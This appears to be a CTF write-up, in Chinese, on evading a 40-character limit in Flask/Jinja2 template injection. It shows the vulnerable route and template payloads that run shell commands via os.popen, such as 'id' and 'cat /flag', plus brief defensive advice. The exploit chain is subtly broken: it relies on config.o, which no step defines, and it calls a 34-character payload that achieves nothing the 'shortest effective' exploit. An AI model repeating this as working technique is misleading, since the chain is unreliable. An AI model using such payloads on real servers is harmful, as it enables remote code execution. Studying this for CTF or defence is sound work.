记一次SSTI长度限制绕过
字数 760 2025-08-22 12:23:00

SSTI长度限制绕过技术详解

一、SSTI基础概念

SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当应用程序将用户输入直接嵌入到模板中而不进行适当处理时,攻击者可以注入恶意模板代码,导致任意代码执行。

二、题目分析

漏洞代码片段

@app.route("/")
def home():
    user = request.args.get('user') or None
    template = """<html>...</html>"""
    
    if user is None:
        template += """登录表单"""
    else:
        if len(user) > 40:
            return "<h1>太长了bro</h1>"
        template += f"""<h1>hello {user}</h1>"""
    
    return render_template_string(template)

关键点:

  1. 用户输入user直接嵌入模板
  2. 长度限制为40字符
  3. 使用Flask框架的render_template_string

三、常规SSTI利用方式

在Flask/Jinja2环境下,常见的SSTI利用方式:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

但这种方式长度远超40字符限制。

四、长度限制绕过技术

1. 利用config.update方法

{%set x=config.update(p=config.o.popen)%}{{config.p('id').read()}}

分解:

  1. config.update() 可以动态添加属性
  2. os.popen方法赋值给新属性p
  3. 然后调用新属性执行命令

2. 优化后的更短payload

{{config.update(c=config.update)}}

长度仅34字符,原理:

  1. 利用config.update方法自身可被覆盖的特性
  2. 递归更新配置对象

3. 完整利用链

{{config.update(p=config.o.popen)}}
{{config.p('cat /flag').read()}}

五、替代方案探索

1. 其他可替代config的对象

  • request: Flask的请求对象
  • g: Flask的全局对象
  • session: 会话对象

2. 更短的函数链

尝试寻找比config.update更短的函数调用链,例如:

{{request.__class__.__mro__[1].__subclasses__()[X]}}

但通常长度仍会超过限制。

六、防御措施

  1. 永远不要直接渲染用户输入
  2. 使用安全的模板渲染方式:
    return render_template('template.html', user=user)
    
  3. 对用户输入进行严格过滤
  4. 限制模板执行环境

七、总结

在长度受限的SSTI场景中,关键技巧包括:

  1. 利用现有对象的动态更新功能
  2. 递归使用同一方法
  3. 寻找最短的函数调用链
  4. 分阶段执行payload(先定义后调用)

最短有效payload可压缩至34字符,通过config.update方法的巧妙利用实现。

SSTI长度限制绕过技术详解 一、SSTI基础概念 SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当应用程序将用户输入直接嵌入到模板中而不进行适当处理时,攻击者可以注入恶意模板代码,导致任意代码执行。 二、题目分析 漏洞代码片段 关键点: 用户输入 user 直接嵌入模板 长度限制为40字符 使用Flask框架的 render_template_string 三、常规SSTI利用方式 在Flask/Jinja2环境下,常见的SSTI利用方式: 但这种方式长度远超40字符限制。 四、长度限制绕过技术 1. 利用config.update方法 分解: config.update() 可以动态添加属性 将 os.popen 方法赋值给新属性 p 然后调用新属性执行命令 2. 优化后的更短payload 长度仅34字符,原理: 利用 config.update 方法自身可被覆盖的特性 递归更新配置对象 3. 完整利用链 五、替代方案探索 1. 其他可替代config的对象 request : Flask的请求对象 g : Flask的全局对象 session : 会话对象 2. 更短的函数链 尝试寻找比 config.update 更短的函数调用链,例如: 但通常长度仍会超过限制。 六、防御措施 永远不要直接渲染用户输入 使用安全的模板渲染方式: 对用户输入进行严格过滤 限制模板执行环境 七、总结 在长度受限的SSTI场景中,关键技巧包括: 利用现有对象的动态更新功能 递归使用同一方法 寻找最短的函数调用链 分阶段执行payload(先定义后调用) 最短有效payload可压缩至34字符,通过 config.update 方法的巧妙利用实现。